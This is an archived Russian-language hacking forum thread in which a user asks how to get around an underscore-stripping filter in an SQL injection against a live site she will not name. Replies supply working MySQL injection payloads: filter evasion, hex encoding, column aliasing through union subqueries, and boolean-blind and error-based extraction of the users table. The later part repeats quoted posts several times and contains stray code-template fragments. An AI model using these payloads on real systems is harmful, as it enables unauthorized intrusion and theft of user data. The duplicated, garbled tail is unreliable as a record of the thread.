Вход

Просмотр полной версии : Фильтрация нижнего подчеркивания


listika
24.12.2011, 16:19
Перерыла весь интернет, а толку ноль

Надеюсь, что здесь смогут подсказать.

Передаю запрос, но если там встречается нижнее подчеркивание, то оно вырезается и все остальное в запросе тоже. Получается все названия столбцов/таблиц с подчеркиванием не проходят.

Например запрос вида: id=-480+union+select+user_id,2+from+users+--

Отбросится все начиная с _id,2+from+users+--

И в итоге запрос не исполнится.

Подскажите, пожалуйста, можно как обойти фильтр или это уже не эксплуатируемая инъекция?

aydin-ka
24.12.2011, 16:21
Используй Limit

id=-480+union+select+user_id,2+from+users+LIMIT+1,1 --

И каждый раз меняешь LIMIT 0,1 -- и .тд

P.S: кажется я вопроса не понял...

Обойти фильтр такими способами

1) вместо + пиши /**/

2) union = UnIoN

и .тд

listika
24.12.2011, 16:27
Видимо не поняли...

Такое проходит, без подчеркивания:

id=-480+union+select+user,2+from+users+--

А с подчеркиванием режет, не проходит:

id=-480+union+select+user_id,2+from+users+--

Все что после подчеркивания вырезается.

Остается id=-480+union+select+user

Лимит и др тут не причем.

aydin-ka
24.12.2011, 17:02
Здесь режется _

Попробуйте закодировать. Функция CHAR()

nikp
24.12.2011, 17:14
listika said:
Передаю запрос, но если там встречается нижнее подчеркивание, то оно вырезается и все остальное в запросе тоже. Получается все названия столбцов/таблиц с подчеркиванием не проходят.
Подскажите, пожалуйста, можно как обойти фильтр или это уже не эксплуатируемая инъекция?


Предположим исходный запрос


Code:
select field_name from table_name

для MySql эквивалентным будет


Code:
select 0x6669656C645F6E616D65 from (select 0x7461626C655F6E616D65)k

а скрипт, который фильтрует, ищет подчеркивание (как символ "_"), т.е. посчитает запрос валидным.

=======

UPD

Совет не верный.

aydin-ka
24.12.2011, 17:18
nikp а так можно? или опять резать будет?

id=-480+union+select+UNHEX(HEX(user_id)),2+from+users+--

Ereee
24.12.2011, 17:26
aydin-ka said:
nikp
а так можно? или опять резать будет?
id=-480+union+select+UNHEX(HEX(user_id)),2+from+users+--


Будет резать. ТС, пробуй:

id=-480+union+select+unhex(0x757365725f6964),2+from+us ers+LIMIT+1,1 --

listika
24.12.2011, 17:37
Функция CHAR() никак не помогает, выводится константа раскодированная в итоге

Expl0ited
24.12.2011, 17:37
nikp said:
Предположим исходный запрос

Code:
select field_name from table_name

для MySql эквивалентным будет

Code:
select 0x6669656C645F6E616D65 from (select 0x7461626C655F6E616D65)k

а скрипт, который фильтрует, ищет подчеркивание (как символ "_"), т.е. посчитает запрос валидным.


хм, дык mysql будет воспринимать значение 0x6669656C645F6E616D65 как строку 'field_name', и в итоге вернет в скрипт не содержимое колонки field_name, с строку field_name

Я думаю в данном случае извратится с mysql не выйдет, и нужно искать способ обхода проверки символа _ в скрипте, например его урл-кодированным эквивалентом (%5f), или же другим способом.

listika
24.12.2011, 17:39
Expl0ited said:
хм, дык mysql будет воспринимать значение 0x6669656C645F6E616D65 как строку 'field_name', и в итоге вернет в скрипт не содержимое колонки field_name, с строку field_name


все верно, так и возвращает...

Expl0ited
24.12.2011, 17:41
listika said:
все верно, так и возвращает...


Прочитай тут (https://antichat.live/showpost.php/p/2951491/postcount/10/), последнее предложение, мб получится, хотя шансов мало.

listika
24.12.2011, 17:51
Ereee said:
Будет резать. ТС, пробуй:
id=-480+union+select+unhex(0x757365725f6964),2+from+us ers+LIMIT+1,1 --


запрос SELECT unhex( 0x757365725f6964 )

возвращает

unhex(0x757365725f6964)

NULL

Ereee
24.12.2011, 17:52
Стaло быть никак =\ Ссылку в студио, пожалуйста!

listika
24.12.2011, 17:54
Expl0ited said:
Я думаю в данном случае извратится с mysql не выйдет, и нужно искать способ обхода проверки символа _ в скрипте, например его урл-кодированным эквивалентом (%5f), или же другим способом.


%5f вырезалось как и просто с подчеркиванием

listika
24.12.2011, 17:57
Ereee said:
Ссылку в студио, пожалуйста!


Не могу...

nikp
24.12.2011, 18:09
UPD2

Для поля таблицы можно попробовать такой обход.

Нужно подбирать количество полей в таблице users и местоположение интересующего поля.

Допустим таблица имеет три поля

user_id, user_name, user_password, тогда для вывода второго и третьего поля:


Code:
id=-480+union+select+concat(s2,0x3a,s3),2+from+(select +s2,s3+from(select+1,2+s2,3+s3+union+select+*+from +users)k)n--+

KolosJey
24.12.2011, 18:34
Вариант 1

Это можно попробывать сделать как-то так:

1 union select * from (select 1,2,3,4,5)b,users,(select 1,2,3,4)a

1 union select 6,users.*,2,3,4,5,1 from users

(полный запрос приводить не буду )

Но тут нужно несколько условий. Подробнее:

/threadnav43966-6-10.html

53-54 посты

Ну и конечно с information_schema попрощаться

Вариант 2

Искать двойной запрос и уже в нём нормально крутить в 0x



Вариант 3

Не ломать фрагорию (почему-то мне кажется что это именно она )) - это плохо кончится.

nikp

concat_ws не пропустит из-за "_"

Expl0ited
24.12.2011, 18:46
Ответ дан (https://antichat.live/showpost.php/p/2951534/postcount/16/) , тема закрыта. Если у ТС, что то не получится пусть отпишет мне в пм.


Expl0ited said:

listika said:

Если у ТС, что то не получится пусть отпишет мне в пм.


Не успела отправить сообщение...

nikp said:
UPD2
Для поля таблицы можно попробовать такой обход.
Нужно подбирать количество полей в таблице users и местоположение интересующего поля.
Допустим таблица имеет три поля
user_id, user_name, user_password, тогда для вывода второго и третьего поля:

Code:
id=-480+union+select+concat(s2,0x3a,s3),2+from+(select +s2,s3+from(select+1,2+s2,3+s3+union+select+*+from +users)k)n--+



Она еще и слепая. Использую такую конструкцию:

Code:
id=-480+OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID((select user from users limit 0,1), 1, 63), FLOOR(RAND(0)*2)))+--+

В таком случае ваш способ можно применить попробовать?


" if author else f"

listika said:

Если у ТС, что то не получится пусть отпишет мне в пм.


Не успела отправить сообщение...

nikp said:
UPD2
Для поля таблицы можно попробовать такой обход.
Нужно подбирать количество полей в таблице users и местоположение интересующего поля.
Допустим таблица имеет три поля
user_id, user_name, user_password, тогда для вывода второго и третьего поля:

Code:
id=-480+union+select+concat(s2,0x3a,s3),2+from+(select +s2,s3+from(select+1,2+s2,3+s3+union+select+*+from +users)k)n--+



Она еще и слепая. Использую такую конструкцию:

Code:
id=-480+OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID((select user from users limit 0,1), 1, 63), FLOOR(RAND(0)*2)))+--+

В таком случае ваш способ можно применить попробовать?


У тебя вывод в ошибке, или же всетаки она совсем слепая?
если она совсем слепая тогда вот валидная конструкция

Code:
id=480 and 1=if(mid((select concat(s2,0x3a,s3) from(select(s2),(s3)from(select(1),2 s2,3 s3,4 union(select * from users))k)n limit 1,1),1,1)='a',1,2)--+

Работать будет при условии, если в таблице users 4 колонки, и первый символ во второй колонке и второй записи таблицы равен 'a' вернет валидную страницу под id=480, если же нет то вернет пустую страницу, т.к. не выполнится условие. И перебирать в таком духе.
Если же у тебя вывод в ошибке, тогда:

Code:
id=480 and (select(max(1))from(mysql.user)group+by(concat(mid ((select concat(s2,0x3a,s3) from(select(s2),(s3)from(select(1),2 s2,3 s3,4 union(select * from users))k)n limit 1,1),1,60),0x00,floor(rand(0)*2))))--+



" if author else f"

Expl0ited said:

listika said:

Если у ТС, что то не получится пусть отпишет мне в пм.


Не успела отправить сообщение...

nikp said:
UPD2
Для поля таблицы можно попробовать такой обход.
Нужно подбирать количество полей в таблице users и местоположение интересующего поля.
Допустим таблица имеет три поля
user_id, user_name, user_password, тогда для вывода второго и третьего поля:

Code:
id=-480+union+select+concat(s2,0x3a,s3),2+from+(select +s2,s3+from(select+1,2+s2,3+s3+union+select+*+from +users)k)n--+



Она еще и слепая. Использую такую конструкцию:

Code:
id=-480+OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID((select user from users limit 0,1), 1, 63), FLOOR(RAND(0)*2)))+--+

В таком случае ваш способ можно применить попробовать?


" if author else f"

listika said:

Если у ТС, что то не получится пусть отпишет мне в пм.


Не успела отправить сообщение...

nikp said:
UPD2
Для поля таблицы можно попробовать такой обход.
Нужно подбирать количество полей в таблице users и местоположение интересующего поля.
Допустим таблица имеет три поля
user_id, user_name, user_password, тогда для вывода второго и третьего поля:

Code:
id=-480+union+select+concat(s2,0x3a,s3),2+from+(select +s2,s3+from(select+1,2+s2,3+s3+union+select+*+from +users)k)n--+



Она еще и слепая. Использую такую конструкцию:

Code:
id=-480+OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID((select user from users limit 0,1), 1, 63), FLOOR(RAND(0)*2)))+--+

В таком случае ваш способ можно применить попробовать?


У тебя вывод в ошибке, или же всетаки она совсем слепая?
если она совсем слепая тогда вот валидная конструкция

Code:
id=480 and 1=if(mid((select concat(s2,0x3a,s3) from(select(s2),(s3)from(select(1),2 s2,3 s3,4 union(select * from users))k)n limit 1,1),1,1)='a',1,2)--+

Работать будет при условии, если в таблице users 4 колонки, и первый символ во второй колонке и второй записи таблицы равен 'a' вернет валидную страницу под id=480, если же нет то вернет пустую страницу, т.к. не выполнится условие. И перебирать в таком духе.
Если же у тебя вывод в ошибке, тогда:

Code:
id=480 and (select(max(1))from(mysql.user)group+by(concat(mid ((select concat(s2,0x3a,s3) from(select(s2),(s3)from(select(1),2 s2,3 s3,4 union(select * from users))k)n limit 1,1),1,60),0x00,floor(rand(0)*2))))--+